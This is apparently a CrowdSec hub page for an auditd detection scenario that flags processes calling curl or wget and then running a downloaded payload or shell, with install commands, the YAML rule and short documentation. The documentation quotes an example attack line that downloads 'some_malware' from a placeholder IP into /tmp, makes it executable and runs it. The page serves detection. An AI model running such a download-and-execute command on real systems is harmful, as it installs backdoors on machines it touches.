Post Exploitation command execution from Internet
Attack scenariolinux:post-exploitationMITRE T1059.004
- Version
- 0.6
- Name
- crowdsecurity/auditd-postexploit-exec-from-net
- Remediation
- Alert only
Detect post-exploitation behaviour : curl/wget and exec
Install with a top-level collection
2 collections include itsudo cscli collections install crowdsecurity/auditdInstalls 1 parser and 6 scenarios.
View Auditd - Post-Exploitation Detection →Installation
sudo cscli scenarios install crowdsecurity/auditd-postexploit-exec-from-netThen reload CrowdSec: sudo systemctl reload crowdsec
Sign in to see which of your engines run it →Configuration
Hover a line or a note to see what each field does.
type: conditionalname: crowdsecurity/auditd-postexploit-exec-from-netdescription: "Detect post-exploitation behaviour : curl/wget and exec"filter: evt.Meta.log_type == 'execve'#grouping by ppid to track a process doing those action in a short timeframegroupby: evt.Meta.ppidcondition: |any(queue.Queue, {.Meta.exe in ["/usr/bin/wget", "/usr/bin/curl"]})and (any(queue.Queue, { !(.Meta.exe startsWith "/usr/" or .Meta.exe startsWith "/bin/" or .Meta.exe startsWith "/sbin/")})or any(queue.Queue, { .Meta.exe in ["/bin/sh", "/bin/bash", "/bin/dash"] }))leakspeed: 1scapacity: -1blackhole: 1mlabels:service: linuxconfidence: 2spoofable: 0classification:- attack.T1059.004behavior: "linux:post-exploitation"label: "Post Exploitation command execution from Internet"remediation: falsescope:type: pidexpression: evt.Meta.ppid
Installed on
Know where it runs
Sign in to see the Security Engines that run this attack scenario, the version they run and whether it was modified locally.
Documentation
Auditd : execute payload from internet
Attempt to detect a process that is successively invoking curl or wget and executing a non-standard payload or script.
This pattern is usually seen in post-exploitation behaviors to when downloading and executing backdoors :
1curl -o /tmp/smth http://X.X.X.X/some_malware ; chmod +x /tmp/smth ; /tmp/smth